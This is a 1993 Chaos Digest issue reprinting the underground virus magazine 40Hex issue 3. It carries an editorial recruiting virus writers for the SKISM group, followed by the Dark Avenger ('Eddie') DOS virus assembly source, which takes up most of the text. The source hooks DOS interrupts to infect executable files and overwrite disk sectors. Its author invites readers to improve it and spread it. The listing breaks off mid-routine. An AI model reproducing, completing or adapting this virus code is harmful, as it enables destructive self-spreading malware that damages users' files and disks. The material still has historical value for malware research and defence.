Chaos Digest Lundi 24 Mai 1993 Volume 1 : Numero 35 ISSN 1244-4901 Editeur: Jean-Bernard Condat (jbcondat@attmail.com) Archiviste: Yves-Marie Crabbe Co-Redacteurs: Arnaud Bigare, Stephane Briere TABLE DES MATIERES, #1.35 (24 Mai 1993) File 1--40H VMag Issue 1 Volume 3 #000-003(1) (reprint) Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are available at no cost by sending a message to: linux-activists-request@niksula.hut.fi with a mail header or first line containing the following informations: X-Mn-Admin: join CHAOS_DIGEST The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070) or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P. 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299) groups. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352) 466893. Back issues of ChaosD can be found on the Internet as part of the Computer underground Digest archives. They're accessible using anonymous FTP: * kragar.eff.org [192.88.144.4] in /pub/cud/chaos * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos CHAOS DIGEST is an open forum dedicated to sharing French information among computerists and to the presentation and debate of diverse views. ChaosD material may be reprinted for non-profit as long as the source is cited. Some authors do copyright their material, and they should be contacted for reprint permission. Readers are encouraged to submit reasoned articles in French, English or German languages relating to computer culture and telecommunications. Articles are preferred to short responses. Please avoid quoting previous posts unless absolutely necessary. DISCLAIMER: The views represented herein do not necessarily represent the views of the moderators. Chaos Digest contributors assume all responsibility for ensuring that articles submitted do not violate copyright protections. ---------------------------------------------------------------------- Date: Tue May 11 09:24:40 PDT 1993 From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. ) Subject: File 1--40H VMag Issue 1 Volume 3 #000-003(1) (reprint) 40Hex Issue 3 0000 Contents -------- A Word From Hellraiser.......................................0001 The Dark Avenger Source......................................0002 Anthrax......................................................0003 The 40Hex Challenge/The Strange Case of Validate.............0004 Application for SKISM........................................0005 Virus News For October/91....................................0006 The Darth Vader Virus Strain B...............................0007 Mystery Virus................................................0008 Tiny-F Source................................................0009 Afterwords...................................................0010 Staff ----- Hellraiser...............Editor/Writer/Programmer/Tech. Consultant Garbage Heap.....................Writer/Spell Checker/Distribution Special Thanks to... Demogorgan, Dark Angel, Count Zero, Piff', Paragon Dude, The Fisch, Gambit, Punisher, Nuclear Warhead, Ironlord (and the rest of the alliance people all our freinds in PA, CT, and all over the world, and most of all our readers for your support. SKISM distribution sites as of 10/91 Jihad - 1-(408)-XXX-XXXX : California The Night Eyes BBS - 1-(717)-367-3501 : Pennsylvania The Punishment Due BBS - 1-(203)-675-???? : Connecticut * DOWN * +++++ 40Hex Issue 3 0001 - Gray would be the color, if I had a heart. Well what's up. Sorry about the delay with issue three but there's been a lot of stuff going down. I've been working on a lot of semi-legit projects and all that so I haven't gotten around to 40Hex till now. Anyway, first big news is this. SKISM has now co-oped with the New York based group PHALCON, thus broadening both groups span of diversity. SKISM being an all virus group and PHALCON dealing with mainly h/p. Secondly, SKISM is hoping to broaden its membership a bit. We are looking for a few good virus writers. Mainly what we need is some people who are very good at assembly code and first and foremost virus writing. Lame bomb writers, Q-Basic coders and such need not apply. We are not just looking for IBM coders, as we are also broading to Mac and Amiga. Thirdly, SKISM gained a new HQ in PA., it is called Night Eyes BBS. The number is (717)-367-3501, supporting 12/24/96/14.4 baud rates. [ChaosD: DOWN! a ce jour... il semblerait qu'il n'est jamais fonctionne!] Finally, The Landfill BBS, whos number is listed as the SKISM HQ in issue two, is no longer our HQ. Although we are still on very good terms with the staff of that BBS, please refrain from calling it with virus related topics (they are no-longer h/p, just Amiga wares). Any- way the new New York SKISM base should be up and running by tops October. It will be called Hell On Earth and I myself will be sysop. Well enjoy... - Hellraiser -- Appendum -- Well about three days after writing this artical I found out that I am being shipped to California. This sucks... Well looks like Hell On Earth will be up out there instead of New York. Call our home boards to keep in touch with the situation. I can still be left mail on Night Eyes. -- Appendum B -- 10/25/91 Well, it's been over a month since I wrote the above. Nothing much has changed since then. I'm in CA. now and without a system. Phalcon members have been going off -- mostly Dark Angel, who has a new virus coming out, Bob Ross. I hope I can get it for this issue. Anyway, in other news The Punishment Due - Skism distribution site has gone down. I am looking for other BBS's to add the collection to. More news... There is another Hell On Earth BBS out there so it looks like I am going to have to change the name of my BBS, when I get my system. Ironically I am concidering having the other Hell On Earth as a Skism distribution site. Even more news... I have been getting a lot of shit cause of my name. There seems to be other Hellraisers out there, who claim they were the first... Fuck you all! I had the name since 1989, when I read Clive Barkers novella - "The Hellbound Heart." If you had it before then, its yours. However after calling a lot of boards nationally lately I never had a problem logging on due to my name. Shows how lame people are. Well thats it for now... Hope this issue will be out shortly. +++++ 40Hex Issue 3 0002 The Dark Avenger - We are demons to some, angels to others. Well, here it is. Here is the first major virus source, from the man who brought us such greats as V2000, Anthrax, and V2100 to name a few. Well this Bulgarian metal lover was nice enough to freely distribute the source code to his first virus. ----------------------------------------------------------------------------- ;"Blessed is he who expects nothing, for he shall not be disappointed." ;The original source of one of the first Bulgarian viruses is in front of ;you. As you may notice, it's full of rubbish and bugs, but nevertheless ;the virus has spread surprisingly quickly troughout the country and made a ;quick round the globe. (It's well-known in Eastern and Western Europe, as ;well as in USA.) Due to the aniversary of its creation, the source is ;distributed freely. You have the rights to distribute the source which can ;be charged or free of charge, with the only condition not to modify it. ;The one, who intentionaly distributes this source modified in any way will ;be punished! Still, the author will be glad if any of you improves it and ;spreads the resulting executive file (i.e., the virus itself). Pay ;attention to the fact that after you assemble the source, the resulting ;.COM-file cannot be run. For that purpose you have to create a three-byte ;file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the ;two files. Don't try to place a JMP at the beginning of the source. ;DISCLAIMER: The author does not take any responsability for any damage, ;either direct or implied, caused by the usage or not of this source or of ;the resulting code after assembly. No warrant is made about the product ;functionability or quality. ;I cannot resist to express my special gratitude to my "populazer" Dipl. ;eng. Vesselin Bontchev, who makes me famous and who, wishing it or ;not, helps very much in the spreading of my viruses, in spite of the fact ;that he tries to do just the opposite (writing programs in C has never ;led to any good). ;Greetings to all virus writers! code segment assume cs:code,ds:code copyright: db 'Eddie lives...somewhere in time!',0 date_stamp: dd 12239000h checksum: db 30 ;Return the control to an .EXE file: ;Restores DS=ES=PSP, loads SS:SP and CS:IP. exit_exe: mov bx,es add bx,10h add bx,word ptr cs:[si+call_adr+2] mov word ptr cs:[si+patch+2],bx mov bx,word ptr cs:[si+call_adr] mov word ptr cs:[si+patch],bx mov bx,es add bx,10h add bx,word ptr cs:[si+stack_pointer+2] mov ss,bx mov sp,word ptr cs:[si+stack_pointer] db 0eah ;JMP XXXX:YYYY patch: dd 0 ;Returns control to a .COM file: ;Restores the first 3 bytes in the ;beginning of the file, loads SP and IP. exit_com: mov di,100h add si,offset my_save movsb movsw mov sp,ds:[6] ;This is incorrect xor bx,bx push bx jmp [si-11] ;si+call_adr-top_file ;Program entry point startup: call relative relative: pop si ;SI = $ sub si,offset relative cld cmp word ptr cs:[si+my_save],5a4dh je exe_ok cli mov sp,si ;A separate stack is supported for add sp,offset top_file+100h ;the .COM files, in order not to sti ;overlap the stack by the program cmp sp,ds:[6] jnc exit_com exe_ok: push ax push es push si push ds mov di,si ;Looking for the address of INT 13h handler in ROM-BIOS xor ax,ax push ax mov ds,ax les ax,ds:[13h*4] mov word ptr cs:[si+fdisk],ax mov word ptr cs:[si+fdisk+2],es mov word ptr cs:[si+disk],ax mov word ptr cs:[si+disk+2],es mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h cmp ax,0f000h ;for diskettes if a hard disk is jne nofdisk ;available mov word ptr cs:[si+disk+2],ax mov ax,ds:[40h*4] mov word ptr cs:[si+disk],ax mov dl,80h mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, cmp ax,0f000h ;where the original INT 13h vector is je isfdisk cmp ah,0c8h jc nofdisk cmp ah,0f4h jnc nofdisk test al,7fh jnz nofdisk mov ds,ax cmp ds:[0],0aa55h jne nofdisk mov dl,ds:[2] isfdisk: mov ds,ax xor dh,dh mov cl,9 shl dx,cl mov cx,dx xor si,si findvect: lodsw ;Occasionally begins with: cmp ax,0fa80h ; CMP DL,80h jne altchk ; JNC somewhere lodsw cmp ax,7380h je intchk jne nxt0 altchk: cmp ax,0c2f6h ;or with: jne nxt ; TEST DL,80h lodsw ; JNZ somewhere cmp ax,7580h jne nxt0 intchk: inc si ;then there is: lodsw ; INT 40h cmp ax,40cdh je found sub si,3 nxt0: dec si dec si nxt: dec si loop findvect jmp short nofdisk found: sub si,7 mov word ptr cs:[di+fdisk],si mov word ptr cs:[di+fdisk+2],ds nofdisk: mov si,di pop ds ;Check whether the program is present in memory: les ax,ds:[21h*4] mov word ptr cs:[si+save_int_21],ax mov word ptr cs:[si+save_int_21+2],es push cs pop ds cmp ax,offset int_21 jne bad_func xor di,di mov cx,offset my_size scan_func: lodsb scasb jne bad_func loop scan_func pop es jmp go_program ;Move the program to the top of memory: ;(it's full of rubbish and bugs here) bad_func: pop es mov ah,49h int 21h mov bx,0ffffh mov ah,48h int 21h sub bx,(top_bz+my_bz+1ch-1)/16+2 jc go_program mov cx,es stc adc cx,bx mov ah,4ah int 21h mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 stc sbb es:[2],bx push es mov es,cx mov ah,4ah int 21h mov ax,es dec ax mov ds,ax mov word ptr ds:[1],8 call mul_16 mov bx,ax mov cx,dx pop ds mov ax,ds call mul_16 add ax,ds:[6] adc dx,0 sub ax,bx sbb dx,cx jc mem_ok sub ds:[6],ax ;Reduction of the segment size mem_ok: pop si push si push ds push cs xor di,di mov ds,di lds ax,ds:[27h*4] mov word ptr cs:[si+save_int_27],ax mov word ptr cs:[si+save_int_27+2],ds pop ds mov cx,offset aux_size rep movsb xor ax,ax mov ds,ax mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h mov ds:[21h*4+2],es mov ds:[27h*4],offset int_27 mov ds:[27h*4+2],es mov word ptr es:[filehndl],ax pop es go_program: pop si ;Smash the next disk sector: xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov word ptr cs:[si+save_int_13],ax mov ax,ds:[13h*4+2] mov word ptr cs:[si+save_int_13+2],ax mov ds:[13h*4],offset int_13 add ds:[13h*4],si mov ds:[13h*4+2],cs pop ds push ds push si mov bx,si lds ax,ds:[2ah] xor si,si mov dx,si scan_envir: ;Fetch program's name lodsw ;(with DOS 2.x it doesn't work anyway) dec si test ax,ax jnz scan_envir add si,3 lodsb ;The following instruction is a complete nonsense. Try to enter a drive & ;directory path in lowercase, then run an infected program from there. ;As a result of an error here + an error in DOS the next sector is not ;smashed. Two memory bytes are smashed instead, most probably onto the ;infected program. sub al,'A' mov cx,1 push cs pop ds add bx,offset int_27 push ax push bx push cx int 25h pop ax pop cx pop bx inc byte ptr [bx+0ah] and byte ptr [bx+0ah],0fh ;It seems that 15 times doing jnz store_sec ;nothing is not enough for some. mov al,[bx+10h] xor ah,ah mul word ptr [bx+16h] add ax,[bx+0eh] push ax mov ax,[bx+11h] mov dx,32 mul dx div word ptr [bx+0bh] pop dx add dx,ax mov ax,[bx+8] add ax,40h cmp ax,[bx+13h] jc store_new inc ax and ax,3fh add ax,dx cmp ax,[bx+13h] jnc small_disk store_new: mov [bx+8],ax store_sec: pop ax xor dx,dx push ax push bx push cx int 26h ;The writing trough this interrupt is not the smartest thing, bacause it ;can be intercepted (what Vesselin Bontchev has managed to notice). pop ax pop cx pop bx pop ax cmp byte ptr [bx+0ah],0 jne not_now mov dx,[bx+8] pop bx push bx int 26h small_disk: pop ax not_now: pop si xor ax,ax mov ds,ax mov ax,word ptr cs:[si+save_int_13] mov ds:[13h*4],ax mov ax,word ptr cs:[si+save_int_13+2] mov ds:[13h*4+2],ax pop ds pop ax cmp word ptr cs:[si+my_save],5a4dh jne go_exit_com jmp exit_exe go_exit_com: jmp exit_com int_24: mov al,3 ;This instruction seems unnecessary iret ;INT 27h handler (this is necessary) int_27: pushf call alloc popf jmp dword ptr cs:[save_int_27] ;During the DOS functions Set & Get Vector it seems that the virus has not ;intercepted them (this is a doubtfull advantage and it is a possible ;source of errors with some "intelligent" programs) set_int_27: mov word ptr cs:[save_int_27],dx mov word ptr cs:[save_int_27+2],ds popf iret set_int_21: mov word ptr cs:[save_int_21],dx mov word ptr cs:[save_int_21+2],ds popf iret get_int_27: les bx,dword ptr cs:[save_int_27] popf iret get_int_21: les bx,dword ptr cs:[save_int_21] popf iret exec: call do_file call alloc popf jmp dword ptr cs:[save_int_21] db 'Diana P.',0 ;INT 21h handler. Infects files during execution, copying, browsing or ;creating and some other operations. The execution of functions 0 and 26h ;has bad consequences. int_21: push bp mov bp,sp push [bp+6] popf pop bp pushf call ontop cmp ax,2521h je set_int_21 cmp ax,2527h je set_int_27 cmp ax,3521h je get_int_21 cmp ax,3527h je get_int_27 cld cmp ax,4b00h je exec cmp ah,3ch je create cmp ah,3eh je close cmp ah,5bh jne not_create create: cmp word ptr cs:[filehndl],0;May be 0 if the file is open jne dont_touch call see_name jnz dont_touch call alloc popf call function jc int_exit pushf push es push cs pop es push si push di push cx push ax mov di,offset filehndl stosw mov si,dx mov cx,65 move_name: lodsb stosb test al,al jz all_ok loop move_name mov word ptr es:[filehndl],cx all_ok: pop ax pop cx pop di pop si pop es go_exit: popf jnc int_exit ;JMP close: cmp bx,word ptr cs:[filehndl] jne dont_touch test bx,bx jz dont_touch call alloc popf call function jc int_exit pushf push ds push cs pop ds push dx mov dx,offset filehndl+2 call do_file mov word ptr cs:[filehndl],0 pop dx pop ds jmp go_exit not_create: cmp ah,3dh je touch cmp ah,43h je touch cmp ah,56h ;Unfortunately, the command inter- jne dont_touch ;preter does not use this function touch: call see_name jnz dont_touch call do_file dont_touch: call alloc popf call function int_exit: pushf push ds call get_chain mov byte ptr ds:[0],'Z' pop ds popf dummy proc far ;??? ret 2 dummy endp ;Checks whether the file is .COM or .EXE. ;It is not called upon file execution. see_name: push ax push si mov si,dx scan_name: lodsb test al,al jz bad_name cmp al,'.' jnz scan_name call get_byte mov ah,al call get_byte cmp ax,'co' jz pos_com cmp ax,'ex' jnz good_name call get_byte cmp al,'e' jmp short good_name pos_com: call get_byte cmp al,'m' jmp short good_name bad_name: inc al good_name: pop si pop ax ret ;Converts into lowercase (the subroutines are a great thing). get_byte: lodsb cmp al,'C' jc byte_got cmp al,'Y' jnc byte_got add al,20h byte_got: ret ;Calls the original INT 21h. function: pushf call dword ptr cs:[save_int_21] ret ;Arrange to infect an executable file. do_file: push ds ;Save the registers in stack push es push si push di push ax push bx push cx push dx mov si,ds xor ax,ax mov ds,ax les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack push es ;and changes them with what is needed push ax mov ds:[24h*4],offset int_24 mov ds:[24h*4+2],cs les ax,ds:[13h*4] mov word ptr cs:[save_int_13],ax mov word ptr cs:[save_int_13+2],es mov ds:[13h*4],offset int_13 mov ds:[13h*4+2],cs push es push ax mov ds,si xor cx,cx ;Arranges to infect Read-only files mov ax,4300h call function mov bx,cx and cl,0feh cmp cl,bl je dont_change mov ax,4301h call function stc dont_change: pushf push ds push dx push bx mov ax,3d02h ;Now we can safely open the file call function jc cant_open mov bx,ax call disease mov ah,3eh ;Close it call function cant_open: pop cx pop dx pop ds popf jnc no_update mov ax,4301h ;Restores file's attributes call function ;if they were changed (just in case) no_update: xor ax,ax ;Restores INT 13h and INT 24h mov ds,ax pop ds:[13h*4] pop ds:[13h*4+2] pop ds:[24h*4] pop ds:[24h*4+2] pop dx ;Register restoration pop cx pop bx pop ax pop di pop si pop es pop ds ret ;This routine is the working horse. disease: push cs pop ds push cs pop es mov dx,offset top_save ;Read the file beginning mov cx,18h mov ah,3fh int 21h xor cx,cx xor dx,dx mov ax,4202h ;Save file length int 21h mov word ptr [top_save+1ah],dx cmp ax,offset my_size ;This should be top_file sbb dx,0 jc stop_fuck_2 ;Small files are not infected mov word ptr [top_save+18h],ax cmp word ptr [top_save],5a4dh jne com_file mov ax,word ptr [top_save+8] add ax,word ptr [top_save+16h] call mul_16 add ax,word ptr [top_save+14h] adc dx,0 mov cx,dx mov dx,ax jmp short see_sick com_file: cmp byte ptr [top_save],0e9h jne see_fuck mov dx,word ptr [top_save+1] add dx,103h jc see_fuck dec dh xor cx,cx ------------------------------ End of Chaos Digest #1.35 ************************************ Downloaded From P-80 International Information Systems 304-744-2253